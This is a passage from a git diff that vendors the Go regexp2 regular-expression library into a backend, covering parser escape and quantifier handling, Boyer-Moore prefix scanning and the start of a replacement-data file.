0 { + return 0, p.getErr(ErrMissingControl) + } + + ch := p.moveRightGetChar() + + // \ca interpreted as \cA + + if ch >= 'a' && ch <= 'z' { + ch = (ch - ('a' - 'A')) + } + ch = (ch - '@') + if ch >= 0 && ch < ' ' { + return ch, nil + } + + return 0, p.getErr(ErrUnrecognizedControl) + +} + +// Scan hex digits until we hit a closing brace. +// Non-hex digits, hex value too large for UTF-8, or running out of chars are errors +func (p *parser) scanHexUntilBrace() (rune, error) { + // PCRE spec reads like unlimited hex digits are allowed, but unicode has a limit + // so we can enforce that + i := 0 + hasContent := false + + for p.charsRight() > 0 { + ch := p.moveRightGetChar() + if ch == '}' { + // hit our close brace, we're done here + // prevent \x{} + if !hasContent { + return 0, p.getErr(ErrTooFewHex) + } + return rune(i), nil + } + hasContent = true + // no brace needs to be hex digit + d := hexDigit(ch) + if d < 0 { + return 0, p.getErr(ErrMissingBrace) + } + + i *= 0x10 + i += d + + if i > unicode.MaxRune { + return 0, p.getErr(ErrInvalidHex) + } + } + + // we only make it here if we run out of digits without finding the brace + return 0, p.getErr(ErrMissingBrace) +} + +// Scans exactly c hex digits (c=2 for \xFF, c=4 for \uFFFF) +func (p *parser) scanHex(c int) (rune, error) { + + i := 0 + + if p.charsRight() >= c { + for c > 0 { + d := hexDigit(p.moveRightGetChar()) + if d < 0 { + break + } + i *= 0x10 + i += d + c-- + } + } + + if c > 0 { + return 0, p.getErr(ErrTooFewHex) + } + + return rune(i), nil +} + +// Returns n <= 0xF for a hex digit. +func hexDigit(ch rune) int { + + if d := uint(ch - '0'); d <= 9 { + return int(d) + } + + if d := uint(ch - 'a'); d <= 5 { + return int(d + 0xa) + } + + if d := uint(ch - 'A'); d <= 5 { + return int(d + 0xa) + } + + return -1 +} + +// Scans up to three octal digits (stops before exceeding 0377). +func (p *parser) scanOctal() rune { + // Consume octal chars only up to 3 digits and value 0377 + + c := 3 + + if c > p.charsRight() { + c = p.charsRight() + } + + //we know the first char is good because the caller had to check + i := 0 + d := int(p.rightChar(0) - '0') + for c > 0 && d <= 7 && d >= 0 { + if i >= 0x20 && p.useOptionE() { + break + } + i *= 8 + i += d + c-- + + p.moveRight(1) + if !p.rightMost() { + d = int(p.rightChar(0) - '0') + } + } + + // Octal codes only go up to 255. Any larger and the behavior that Perl follows + // is simply to truncate the high bits. + i &= 0xFF + + return rune(i) +} + +// Returns the current parsing position. +func (p *parser) textpos() int { + return p.currentPos +} + +// Zaps to a specific parsing position. +func (p *parser) textto(pos int) { + p.currentPos = pos +} + +// Returns the char at the right of the current parsing position and advances to the right. +func (p *parser) moveRightGetChar() rune { + ch := p.pattern[p.currentPos] + p.currentPos++ + return ch +} + +// Moves the current position to the right. +func (p *parser) moveRight(i int) { + // default would be 1 + p.currentPos += i +} + +// Moves the current parsing position one to the left. +func (p *parser) moveLeft() { + p.currentPos-- +} + +// Returns the char left of the current parsing position. +func (p *parser) charAt(i int) rune { + return p.pattern[i] +} + +// Returns the char i chars right of the current parsing position. +func (p *parser) rightChar(i int) rune { + // default would be 0 + return p.pattern[p.currentPos+i] +} + +// Number of characters to the right of the current parsing position. +func (p *parser) charsRight() int { + return len(p.pattern) - p.currentPos +} + +func (p *parser) rightMost() bool { + return p.currentPos == len(p.pattern) +} + +// Looks up the slot number for a given name +func (p *parser) captureSlotFromName(capname string) int { + return p.capnames[capname] +} + +// True if the capture slot was noted +func (p *parser) isCaptureSlot(i int) bool { + if p.caps != nil { + _, ok := p.caps[i] + return ok + } + + return (i >= 0 && i < p.capsize) +} + +// Looks up the slot number for a given name +func (p *parser) isCaptureName(capname string) bool { + if p.capnames == nil { + return false + } + + _, ok := p.capnames[capname] + return ok +} + +// option shortcuts + +// True if N option disabling '(' autocapture is on. +func (p *parser) useOptionN() bool { + return (p.options & ExplicitCapture) != 0 +} + +// True if I option enabling case-insensitivity is on. +func (p *parser) useOptionI() bool { + return (p.options & IgnoreCase) != 0 +} + +// True if M option altering meaning of $ and ^ is on. +func (p *parser) useOptionM() bool { + return (p.options & Multiline) != 0 +} + +// True if S option altering meaning of . is on. +func (p *parser) useOptionS() bool { + return (p.options & Singleline) != 0 +} + +// True if X option enabling whitespace/comment mode is on. +func (p *parser) useOptionX() bool { + return (p.options & IgnorePatternWhitespace) != 0 +} + +// True if E option enabling ECMAScript behavior on. +func (p *parser) useOptionE() bool { + return (p.options & ECMAScript) != 0 +} + +// true to use RE2 compatibility parsing behavior. +func (p *parser) useRE2() bool { + return (p.options & RE2) != 0 +} + +// True if U option enabling ECMAScript's Unicode behavior on. +func (p *parser) useOptionU() bool { + return (p.options & Unicode) != 0 +} + +// True if options stack is empty. +func (p *parser) emptyOptionsStack() bool { + return len(p.optionsStack) == 0 +} + +// Finish the current quantifiable (when a quantifier is not found or is not possible) +func (p *parser) addConcatenate() { + // The first (| inside a Testgroup group goes directly to the group + p.concatenation.addChild(p.unit) + p.unit = nil +} + +// Finish the current quantifiable (when a quantifier is found) +func (p *parser) addConcatenate3(lazy bool, min, max int) { + p.concatenation.addChild(p.unit.makeQuantifier(lazy, min, max)) + p.unit = nil +} + +// Sets the current unit to a single char node +func (p *parser) addUnitOne(ch rune) { + if p.useOptionI() { + ch = unicode.ToLower(ch) + } + + p.unit = newRegexNodeCh(ntOne, p.options, ch) +} + +// Sets the current unit to a single inverse-char node +func (p *parser) addUnitNotone(ch rune) { + if p.useOptionI() { + ch = unicode.ToLower(ch) + } + + p.unit = newRegexNodeCh(ntNotone, p.options, ch) +} + +// Sets the current unit to a single set node +func (p *parser) addUnitSet(set *CharSet) { + p.unit = newRegexNodeSet(ntSet, p.options, set) +} + +// Sets the current unit to a subtree +func (p *parser) addUnitNode(node *regexNode) { + p.unit = node +} + +// Sets the current unit to an assertion of the specified type +func (p *parser) addUnitType(t nodeType) { + p.unit = newRegexNode(t, p.options) +} + +// Finish the current group (in response to a ')' or end) +func (p *parser) addGroup() error { + if p.group.t == ntTestgroup || p.group.t == ntTestref { + p.group.addChild(p.concatenation.reverseLeft()) + if (p.group.t == ntTestref && len(p.group.children) > 2) || len(p.group.children) > 3 { + return p.getErr(ErrTooManyAlternates) + } + } else { + p.alternation.addChild(p.concatenation.reverseLeft()) + p.group.addChild(p.alternation) + } + + p.unit = p.group + return nil +} + +// Pops the option stack, but keeps the current options unchanged. +func (p *parser) popKeepOptions() { + lastIdx := len(p.optionsStack) - 1 + p.optionsStack = p.optionsStack[:lastIdx] +} + +// Recalls options from the stack. +func (p *parser) popOptions() { + lastIdx := len(p.optionsStack) - 1 + // get the last item on the stack and then remove it by reslicing + p.options = p.optionsStack[lastIdx] + p.optionsStack = p.optionsStack[:lastIdx] +} + +// Saves options on a stack. +func (p *parser) pushOptions() { + p.optionsStack = append(p.optionsStack, p.options) +} + +// Add a string to the last concatenate. +func (p *parser) addToConcatenate(pos, cch int, isReplacement bool) { + var node *regexNode + + if cch == 0 { + return + } + + if cch > 1 { + str := make([]rune, cch) + copy(str, p.pattern[pos:pos+cch]) + + if p.useOptionI() && !isReplacement { + // We do the ToLower character by character for consistency. With surrogate chars, doing + // a ToLower on the entire string could actually change the surrogate pair. This is more correct + // linguistically, but since Regex doesn't support surrogates, it's more important to be + // consistent. + for i := 0; i < len(str); i++ { + str[i] = unicode.ToLower(str[i]) + } + } + + node = newRegexNodeStr(ntMulti, p.options, str) + } else { + ch := p.charAt(pos) + + if p.useOptionI() && !isReplacement { + ch = unicode.ToLower(ch) + } + + node = newRegexNodeCh(ntOne, p.options, ch) + } + + p.concatenation.addChild(node) +} + +// Push the parser state (in response to an open paren) +func (p *parser) pushGroup() { + p.group.next = p.stack + p.alternation.next = p.group + p.concatenation.next = p.alternation + p.stack = p.concatenation +} + +// Remember the pushed state (in response to a ')') +func (p *parser) popGroup() error { + p.concatenation = p.stack + p.alternation = p.concatenation.next + p.group = p.alternation.next + p.stack = p.group.next + + // The first () inside a Testgroup group goes directly to the group + if p.group.t == ntTestgroup && len(p.group.children) == 0 { + if p.unit == nil { + return p.getErr(ErrConditionalExpression) + } + + p.group.addChild(p.unit) + p.unit = nil + } + return nil +} + +// True if the group stack is empty. +func (p *parser) emptyStack() bool { + return p.stack == nil +} + +// Start a new round for the parser state (in response to an open paren or string start) +func (p *parser) startGroup(openGroup *regexNode) { + p.group = openGroup + p.alternation = newRegexNode(ntAlternate, p.options) + p.concatenation = newRegexNode(ntConcatenate, p.options) +} + +// Finish the current concatenation (in response to a |) +func (p *parser) addAlternate() { + // The | parts inside a Testgroup group go directly to the group + + if p.group.t == ntTestgroup || p.group.t == ntTestref { + p.group.addChild(p.concatenation.reverseLeft()) + } else { + p.alternation.addChild(p.concatenation.reverseLeft()) + } + + p.concatenation = newRegexNode(ntConcatenate, p.options) +} + +// For categorizing ascii characters. + +const ( + Q byte = 5 // quantifier + S = 4 // ordinary stopper + Z = 3 // ScanBlank stopper + X = 2 // whitespace + E = 1 // should be escaped +) + +var _category = []byte{ + //01 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F + 0, 0, 0, 0, 0, 0, 0, 0, 0, X, X, X, X, X, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + // ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? + X, 0, 0, Z, S, 0, 0, 0, S, S, Q, Q, 0, 0, S, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, Q, + //@A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, S, S, 0, S, 0, + //'a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, Q, S, 0, 0, 0, +} + +func isSpace(ch rune) bool { + return (ch <= ' ' && _category[ch] == X) +} + +// Returns true for those characters that terminate a string of ordinary chars. +func isSpecial(ch rune) bool { + return (ch <= '|' && _category[ch] >= S) +} + +// Returns true for those characters that terminate a string of ordinary chars. +func isStopperX(ch rune) bool { + return (ch <= '|' && _category[ch] >= X) +} + +// Returns true for those characters that begin a quantifier. +func isQuantifier(ch rune) bool { + return (ch <= '{' && _category[ch] >= Q) +} + +func (p *parser) isTrueQuantifier() bool { + nChars := p.charsRight() + if nChars == 0 { + return false + } + + startpos := p.textpos() + ch := p.charAt(startpos) + if ch != '{' { + return ch <= '{' && _category[ch] >= Q + } + + //UGLY: this is ugly -- the original code was ugly too + pos := startpos + for { + nChars-- + if nChars <= 0 { + break + } + pos++ + ch = p.charAt(pos) + if ch < '0' || ch > '9' { + break + } + } + + if nChars == 0 || pos-startpos == 1 { + return false + } + if ch == '}' { + return true + } + if ch != ',' { + return false + } + for { + nChars-- + if nChars <= 0 { + break + } + pos++ + ch = p.charAt(pos) + if ch < '0' || ch > '9' { + break + } + } + + return nChars > 0 && ch == '}' +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/prefix.go b/backend/vendor/github.com/dlclark/regexp2/syntax/prefix.go new file mode 100644 index 0000000..f671688 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/prefix.go @@ -0,0 +1,896 @@ +package syntax + +import ( + "bytes" + "fmt" + "strconv" + "unicode" + "unicode/utf8" +) + +type Prefix struct { + PrefixStr []rune + PrefixSet CharSet + CaseInsensitive bool +} + +// It takes a RegexTree and computes the set of chars that can start it. +func getFirstCharsPrefix(tree *RegexTree) *Prefix { + s := regexFcd{ + fcStack: make([]regexFc, 32), + intStack: make([]int, 32), + } + fc := s.regexFCFromRegexTree(tree) + + if fc == nil || fc.nullable || fc.cc.IsEmpty() { + return nil + } + fcSet := fc.getFirstChars() + return &Prefix{PrefixSet: fcSet, CaseInsensitive: fc.caseInsensitive} +} + +type regexFcd struct { + intStack []int + intDepth int + fcStack []regexFc + fcDepth int + skipAllChildren bool // don't process any more children at the current level + skipchild bool // don't process the current child. + failed bool +} + +/* + * The main FC computation. It does a shortcutted depth-first walk + * through the tree and calls CalculateFC to emits code before + * and after each child of an interior node, and at each leaf. + */ +func (s *regexFcd) regexFCFromRegexTree(tree *RegexTree) *regexFc { + curNode := tree.root + curChild := 0 + + for { + if len(curNode.children) == 0 { + // This is a leaf node + s.calculateFC(curNode.t, curNode, 0) + } else if curChild < len(curNode.children) && !s.skipAllChildren { + // This is an interior node, and we have more children to analyze + s.calculateFC(curNode.t|beforeChild, curNode, curChild) + + if !s.skipchild { + curNode = curNode.children[curChild] + // this stack is how we get a depth first walk of the tree. + s.pushInt(curChild) + curChild = 0 + } else { + curChild++ + s.skipchild = false + } + continue + } + + // This is an interior node where we've finished analyzing all the children, or + // the end of a leaf node. + s.skipAllChildren = false + + if s.intIsEmpty() { + break + } + + curChild = s.popInt() + curNode = curNode.next + + s.calculateFC(curNode.t|afterChild, curNode, curChild) + if s.failed { + return nil + } + + curChild++ + } + + if s.fcIsEmpty() { + return nil + } + + return s.popFC() +} + +// To avoid recursion, we use a simple integer stack. +// This is the push. +func (s *regexFcd) pushInt(I int) { + if s.intDepth >= len(s.intStack) { + expanded := make([]int, s.intDepth*2) + copy(expanded, s.intStack) + s.intStack = expanded + } + + s.intStack[s.intDepth] = I + s.intDepth++ +} + +// True if the stack is empty. +func (s *regexFcd) intIsEmpty() bool { + return s.intDepth == 0 +} + +// This is the pop. +func (s *regexFcd) popInt() int { + s.intDepth-- + return s.intStack[s.intDepth] +} + +// We also use a stack of RegexFC objects. +// This is the push. +func (s *regexFcd) pushFC(fc regexFc) { + if s.fcDepth >= len(s.fcStack) { + expanded := make([]regexFc, s.fcDepth*2) + copy(expanded, s.fcStack) + s.fcStack = expanded + } + + s.fcStack[s.fcDepth] = fc + s.fcDepth++ +} + +// True if the stack is empty. +func (s *regexFcd) fcIsEmpty() bool { + return s.fcDepth == 0 +} + +// This is the pop. +func (s *regexFcd) popFC() *regexFc { + s.fcDepth-- + return &s.fcStack[s.fcDepth] +} + +// This is the top. +func (s *regexFcd) topFC() *regexFc { + return &s.fcStack[s.fcDepth-1] +} + +// Called in Beforechild to prevent further processing of the current child +func (s *regexFcd) skipChild() { + s.skipchild = true +} + +// FC computation and shortcut cases for each node type +func (s *regexFcd) calculateFC(nt nodeType, node *regexNode, CurIndex int) { + //fmt.Printf("NodeType: %v, CurIndex: %v, Desc: %v\n", nt, CurIndex, node.description()) + ci := false + rtl := false + + if nt <= ntRef { + if (node.options & IgnoreCase) != 0 { + ci = true + } + if (node.options & RightToLeft) != 0 { + rtl = true + } + } + + switch nt { + case ntConcatenate | beforeChild, ntAlternate | beforeChild, ntTestref | beforeChild, ntLoop | beforeChild, ntLazyloop | beforeChild: + break + + case ntTestgroup | beforeChild: + if CurIndex == 0 { + s.skipChild() + } + break + + case ntEmpty: + s.pushFC(regexFc{nullable: true}) + break + + case ntConcatenate | afterChild: + if CurIndex != 0 { + child := s.popFC() + cumul := s.topFC() + + s.failed = !cumul.addFC(*child, true) + } + + fc := s.topFC() + if !fc.nullable { + s.skipAllChildren = true + } + break + + case ntTestgroup | afterChild: + if CurIndex > 1 { + child := s.popFC() + cumul := s.topFC() + + s.failed = !cumul.addFC(*child, false) + } + break + + case ntAlternate | afterChild, ntTestref | afterChild: + if CurIndex != 0 { + child := s.popFC() + cumul := s.topFC() + + s.failed = !cumul.addFC(*child, false) + } + break + + case ntLoop | afterChild, ntLazyloop | afterChild: + if node.m == 0 { + fc := s.topFC() + fc.nullable = true + } + break + + case ntGroup | beforeChild, ntGroup | afterChild, ntCapture | beforeChild, ntCapture | afterChild, ntGreedy | beforeChild, ntGreedy | afterChild: + break + + case ntRequire | beforeChild, ntPrevent | beforeChild: + s.skipChild() + s.pushFC(regexFc{nullable: true}) + break + + case ntRequire | afterChild, ntPrevent | afterChild: + break + + case ntOne, ntNotone: + s.pushFC(newRegexFc(node.ch, nt == ntNotone, false, ci)) + break + + case ntOneloop, ntOnelazy: + s.pushFC(newRegexFc(node.ch, false, node.m == 0, ci)) + break + + case ntNotoneloop, ntNotonelazy: + s.pushFC(newRegexFc(node.ch, true, node.m == 0, ci)) + break + + case ntMulti: + if len(node.str) == 0 { + s.pushFC(regexFc{nullable: true}) + } else if !rtl { + s.pushFC(newRegexFc(node.str[0], false, false, ci)) + } else { + s.pushFC(newRegexFc(node.str[len(node.str)-1], false, false, ci)) + } + break + + case ntSet: + s.pushFC(regexFc{cc: node.set.Copy(), nullable: false, caseInsensitive: ci}) + break + + case ntSetloop, ntSetlazy: + s.pushFC(regexFc{cc: node.set.Copy(), nullable: node.m == 0, caseInsensitive: ci}) + break + + case ntRef: + s.pushFC(regexFc{cc: *AnyClass(), nullable: true, caseInsensitive: false}) + break + + case ntNothing, ntBol, ntEol, ntBoundary, ntNonboundary, ntECMABoundary, ntNonECMABoundary, ntBeginning, ntStart, ntEndZ, ntEnd: + s.pushFC(regexFc{nullable: true}) + break + + default: + panic(fmt.Sprintf("unexpected op code: %v", nt)) + } +} + +type regexFc struct { + cc CharSet + nullable bool + caseInsensitive bool +} + +func newRegexFc(ch rune, not, nullable, caseInsensitive bool) regexFc { + r := regexFc{ + caseInsensitive: caseInsensitive, + nullable: nullable, + } + if not { + if ch > 0 { + r.cc.addRange('\x00', ch-1) + } + if ch < 0xFFFF { + r.cc.addRange(ch+1, utf8.MaxRune) + } + } else { + r.cc.addRange(ch, ch) + } + return r +} + +func (r *regexFc) getFirstChars() CharSet { + if r.caseInsensitive { + r.cc.addLowercase() + } + + return r.cc +} + +func (r *regexFc) addFC(fc regexFc, concatenate bool) bool { + if !r.cc.IsMergeable() || !fc.cc.IsMergeable() { + return false + } + + if concatenate { + if !r.nullable { + return true + } + + if !fc.nullable { + r.nullable = false + } + } else { + if fc.nullable { + r.nullable = true + } + } + + r.caseInsensitive = r.caseInsensitive || fc.caseInsensitive + r.cc.addSet(fc.cc) + + return true +} + +// This is a related computation: it takes a RegexTree and computes the +// leading substring if it sees one. It's quite trivial and gives up easily. +func getPrefix(tree *RegexTree) *Prefix { + var concatNode *regexNode + nextChild := 0 + + curNode := tree.root + + for { + switch curNode.t { + case ntConcatenate: + if len(curNode.children) > 0 { + concatNode = curNode + nextChild = 0 + } + + case ntGreedy, ntCapture: + curNode = curNode.children[0] + concatNode = nil + continue + + case ntOneloop, ntOnelazy: + if curNode.m > 0 { + return &Prefix{ + PrefixStr: repeat(curNode.ch, curNode.m), + CaseInsensitive: (curNode.options & IgnoreCase) != 0, + } + } + return nil + + case ntOne: + return &Prefix{ + PrefixStr: []rune{curNode.ch}, + CaseInsensitive: (curNode.options & IgnoreCase) != 0, + } + + case ntMulti: + return &Prefix{ + PrefixStr: curNode.str, + CaseInsensitive: (curNode.options & IgnoreCase) != 0, + } + + case ntBol, ntEol, ntBoundary, ntECMABoundary, ntBeginning, ntStart, + ntEndZ, ntEnd, ntEmpty, ntRequire, ntPrevent: + + default: + return nil + } + + if concatNode == nil || nextChild >= len(concatNode.children) { + return nil + } + + curNode = concatNode.children[nextChild] + nextChild++ + } +} + +// repeat the rune r, c times... up to the max of MaxPrefixSize +func repeat(r rune, c int) []rune { + if c > MaxPrefixSize { + c = MaxPrefixSize + } + + ret := make([]rune, c) + + // binary growth using copy for speed + ret[0] = r + bp := 1 + for bp < len(ret) { + copy(ret[bp:], ret[:bp]) + bp *= 2 + } + + return ret +} + +// BmPrefix precomputes the Boyer-Moore +// tables for fast string scanning. These tables allow +// you to scan for the first occurrence of a string within +// a large body of text without examining every character. +// The performance of the heuristic depends on the actual +// string and the text being searched, but usually, the longer +// the string that is being searched for, the fewer characters +// need to be examined. +type BmPrefix struct { + positive []int + negativeASCII []int + negativeUnicode [][]int + pattern []rune + lowASCII rune + highASCII rune + rightToLeft bool + caseInsensitive bool +} + +func newBmPrefix(pattern []rune, caseInsensitive, rightToLeft bool) *BmPrefix { + + b := &BmPrefix{ + rightToLeft: rightToLeft, + caseInsensitive: caseInsensitive, + pattern: pattern, + } + + if caseInsensitive { + for i := 0; i < len(b.pattern); i++ { + // We do the ToLower character by character for consistency. With surrogate chars, doing + // a ToLower on the entire string could actually change the surrogate pair. This is more correct + // linguistically, but since Regex doesn't support surrogates, it's more important to be + // consistent. + + b.pattern[i] = unicode.ToLower(b.pattern[i]) + } + } + + var beforefirst, last, bump int + var scan, match int + + if !rightToLeft { + beforefirst = -1 + last = len(b.pattern) - 1 + bump = 1 + } else { + beforefirst = len(b.pattern) + last = 0 + bump = -1 + } + + // PART I - the good-suffix shift table + // + // compute the positive requirement: + // if char "i" is the first one from the right that doesn't match, + // then we know the matcher can advance by _positive[i]. + // + // This algorithm is a simplified variant of the standard + // Boyer-Moore good suffix calculation. + + b.positive = make([]int, len(b.pattern)) + + examine := last + ch := b.pattern[examine] + b.positive[examine] = bump + examine -= bump + +Outerloop: + for { + // find an internal char (examine) that matches the tail + + for { + if examine == beforefirst { + break Outerloop + } + if b.pattern[examine] == ch { + break + } + examine -= bump + } + + match = last + scan = examine + + // find the length of the match + for { + if scan == beforefirst || b.pattern[match] != b.pattern[scan] { + // at the end of the match, note the difference in _positive + // this is not the length of the match, but the distance from the internal match + // to the tail suffix. + if b.positive[match] == 0 { + b.positive[match] = match - scan + } + + // System.Diagnostics.Debug.WriteLine("Set positive[" + match + "] to " + (match - scan)); + + break + } + + scan -= bump + match -= bump + } + + examine -= bump + } + + match = last - bump + + // scan for the chars for which there are no shifts that yield a different candidate + + // The inside of the if statement used to say + // "_positive[match] = last - beforefirst;" + // This is slightly less aggressive in how much we skip, but at worst it + // should mean a little more work rather than skipping a potential match. + for match != beforefirst { + if b.positive[match] == 0 { + b.positive[match] = bump + } + + match -= bump + } + + // PART II - the bad-character shift table + // + // compute the negative requirement: + // if char "ch" is the reject character when testing position "i", + // we can slide up by _negative[ch]; + // (_negative[ch] = str.Length - 1 - str.LastIndexOf(ch)) + // + // the lookup table is divided into ASCII and Unicode portions; + // only those parts of the Unicode 16-bit code set that actually + // appear in the string are in the table. (Maximum size with + // Unicode is 65K; ASCII only case is 512 bytes.) + + b.negativeASCII = make([]int, 128) + + for i := 0; i < len(b.negativeASCII); i++ { + b.negativeASCII[i] = last - beforefirst + } + + b.lowASCII = 127 + b.highASCII = 0 + + for examine = last; examine != beforefirst; examine -= bump { + ch = b.pattern[examine] + + switch { + case ch < 128: + if b.lowASCII > ch { + b.lowASCII = ch + } + + if b.highASCII < ch { + b.highASCII = ch + } + + if b.negativeASCII[ch] == last-beforefirst { + b.negativeASCII[ch] = last - examine + } + case ch <= 0xffff: + i, j := ch>>8, ch&0xFF + + if b.negativeUnicode == nil { + b.negativeUnicode = make([][]int, 256) + } + + if b.negativeUnicode[i] == nil { + newarray := make([]int, 256) + + for k := 0; k < len(newarray); k++ { + newarray[k] = last - beforefirst + } + + if i == 0 { + copy(newarray, b.negativeASCII) + //TODO: this line needed? + b.negativeASCII = newarray + } + + b.negativeUnicode[i] = newarray + } + + if b.negativeUnicode[i][j] == last-beforefirst { + b.negativeUnicode[i][j] = last - examine + } + default: + // we can't do the filter because this algo doesn't support + // unicode chars >0xffff + return nil + } + } + + return b +} + +func (b *BmPrefix) String() string { + return string(b.pattern) +} + +// Dump returns the contents of the filter as a human readable string +func (b *BmPrefix) Dump(indent string) string { + buf := &bytes.Buffer{} + + fmt.Fprintf(buf, "%sBM Pattern: %s\n%sPositive: ", indent, string(b.pattern), indent) + for i := 0; i < len(b.positive); i++ { + buf.WriteString(strconv.Itoa(b.positive[i])) + buf.WriteRune(' ') + } + buf.WriteRune('\n') + + if b.negativeASCII != nil { + buf.WriteString(indent) + buf.WriteString("Negative table\n") + for i := 0; i < len(b.negativeASCII); i++ { + if b.negativeASCII[i] != len(b.pattern) { + fmt.Fprintf(buf, "%s %s %s\n", indent, Escape(string(rune(i))), strconv.Itoa(b.negativeASCII[i])) + } + } + } + + return buf.String() +} + +// Scan uses the Boyer-Moore algorithm to find the first occurrence +// of the specified string within text, beginning at index, and +// constrained within beglimit and endlimit. +// +// The direction and case-sensitivity of the match is determined +// by the arguments to the RegexBoyerMoore constructor. +func (b *BmPrefix) Scan(text []rune, index, beglimit, endlimit int) int { + var ( + defadv, test, test2 int + match, startmatch, endmatch int + bump, advance int + chTest rune + unicodeLookup []int + ) + + if !b.rightToLeft { + defadv = len(b.pattern) + startmatch = len(b.pattern) - 1 + endmatch = 0 + test = index + defadv - 1 + bump = 1 + } else { + defadv = -len(b.pattern) + startmatch = 0 + endmatch = -defadv - 1 + test = index + defadv + bump = -1 + } + + chMatch := b.pattern[startmatch] + + for { + if test >= endlimit || test < beglimit { + return -1 + } + + chTest = text[test] + + if b.caseInsensitive { + chTest = unicode.ToLower(chTest) + } + + if chTest != chMatch { + if chTest < 128 { + advance = b.negativeASCII[chTest] + } else if chTest < 0xffff && len(b.negativeUnicode) > 0 { + unicodeLookup = b.negativeUnicode[chTest>>8] + if len(unicodeLookup) > 0 { + advance = unicodeLookup[chTest&0xFF] + } else { + advance = defadv + } + } else { + advance = defadv + } + + test += advance + } else { // if (chTest == chMatch) + test2 = test + match = startmatch + + for { + if match == endmatch { + if b.rightToLeft { + return test2 + 1 + } else { + return test2 + } + } + + match -= bump + test2 -= bump + + chTest = text[test2] + + if b.caseInsensitive { + chTest = unicode.ToLower(chTest) + } + + if chTest != b.pattern[match] { + advance = b.positive[match] + if chTest < 128 { + test2 = (match - startmatch) + b.negativeASCII[chTest] + } else if chTest < 0xffff && len(b.negativeUnicode) > 0 { + unicodeLookup = b.negativeUnicode[chTest>>8] + if len(unicodeLookup) > 0 { + test2 = (match - startmatch) + unicodeLookup[chTest&0xFF] + } else { + test += advance + break + } + } else { + test += advance + break + } + + if b.rightToLeft { + if test2 < advance { + advance = test2 + } + } else if test2 > advance { + advance = test2 + } + + test += advance + break + } + } + } + } +} + +// When a regex is anchored, we can do a quick IsMatch test instead of a Scan +func (b *BmPrefix) IsMatch(text []rune, index, beglimit, endlimit int) bool { + if !b.rightToLeft { + if index < beglimit || endlimit-index < len(b.pattern) { + return false + } + + return b.matchPattern(text, index) + } else { + if index > endlimit || index-beglimit < len(b.pattern) { + return false + } + + return b.matchPattern(text, index-len(b.pattern)) + } +} + +func (b *BmPrefix) matchPattern(text []rune, index int) bool { + if len(text)-index < len(b.pattern) { + return false + } + + if b.caseInsensitive { + for i := 0; i < len(b.pattern); i++ { + //Debug.Assert(textinfo.ToLower(_pattern[i]) == _pattern[i], "pattern should be converted to lower case in constructor!"); + if unicode.ToLower(text[index+i]) != b.pattern[i] { + return false + } + } + return true + } else { + for i := 0; i < len(b.pattern); i++ { + if text[index+i] != b.pattern[i] { + return false + } + } + return true + } +} + +type AnchorLoc int16 + +// where the regex can be pegged +const ( + AnchorBeginning AnchorLoc = 0x0001 + AnchorBol = 0x0002 + AnchorStart = 0x0004 + AnchorEol = 0x0008 + AnchorEndZ = 0x0010 + AnchorEnd = 0x0020 + AnchorBoundary = 0x0040 + AnchorECMABoundary = 0x0080 +) + +func getAnchors(tree *RegexTree) AnchorLoc { + + var concatNode *regexNode + nextChild, result := 0, AnchorLoc(0) + + curNode := tree.root + + for { + switch curNode.t { + case ntConcatenate: + if len(curNode.children) > 0 { + concatNode = curNode + nextChild = 0 + } + + case ntGreedy, ntCapture: + curNode = curNode.children[0] + concatNode = nil + continue + + case ntBol, ntEol, ntBoundary, ntECMABoundary, ntBeginning, + ntStart, ntEndZ, ntEnd: + return result | anchorFromType(curNode.t) + + case ntEmpty, ntRequire, ntPrevent: + + default: + return result + } + + if concatNode == nil || nextChild >= len(concatNode.children) { + return result + } + + curNode = concatNode.children[nextChild] + nextChild++ + } +} + +func anchorFromType(t nodeType) AnchorLoc { + switch t { + case ntBol: + return AnchorBol + case ntEol: + return AnchorEol + case ntBoundary: + return AnchorBoundary + case ntECMABoundary: + return AnchorECMABoundary + case ntBeginning: + return AnchorBeginning + case ntStart: + return AnchorStart + case ntEndZ: + return AnchorEndZ + case ntEnd: + return AnchorEnd + default: + return 0 + } +} + +// anchorDescription returns a human-readable description of the anchors +func (anchors AnchorLoc) String() string { + buf := &bytes.Buffer{} + + if 0 != (anchors & AnchorBeginning) { + buf.WriteString(", Beginning") + } + if 0 != (anchors & AnchorStart) { + buf.WriteString(", Start") + } + if 0 != (anchors & AnchorBol) { + buf.WriteString(", Bol") + } + if 0 != (anchors & AnchorBoundary) { + buf.WriteString(", Boundary") + } + if 0 != (anchors & AnchorECMABoundary) { + buf.WriteString(", ECMABoundary") + } + if 0 != (anchors & AnchorEol) { + buf.WriteString(", Eol") + } + if 0 != (anchors & AnchorEnd) { + buf.WriteString(", End") + } + if 0 != (anchors & AnchorEndZ) { + buf.WriteString(", EndZ") + } + + // trim off comma + if buf.Len() >= 2 { + return buf.String()[2:] + } + return "None" +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/replacerdata.go b/backend/vendor/github.com/dlclark/regexp2/syntax/replacerdata.go new file mode 100644 index 0000000..bcf4d3f --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/replacerdata.go @@ -0,0 +1,87 @@ +package syntax + +import ( + "bytes" + "errors" +) + +type ReplacerData struct { + Rep string + Strings []string + Rules []int +} + +const ( + replaceSpecials = 4 + replaceLeftPortion = -1 + replaceRightPortion = -2 + replaceLastGroup = -3 + replaceWholeString = -4 +) + +//ErrReplacementError is a general error during parsing the replacement text +var ErrReplacementError = errors.New("Replacement pattern error.") + +// NewReplacerData will populate a reusable replacer data struct based on the given replacement string +// and the capture group data from a regexp 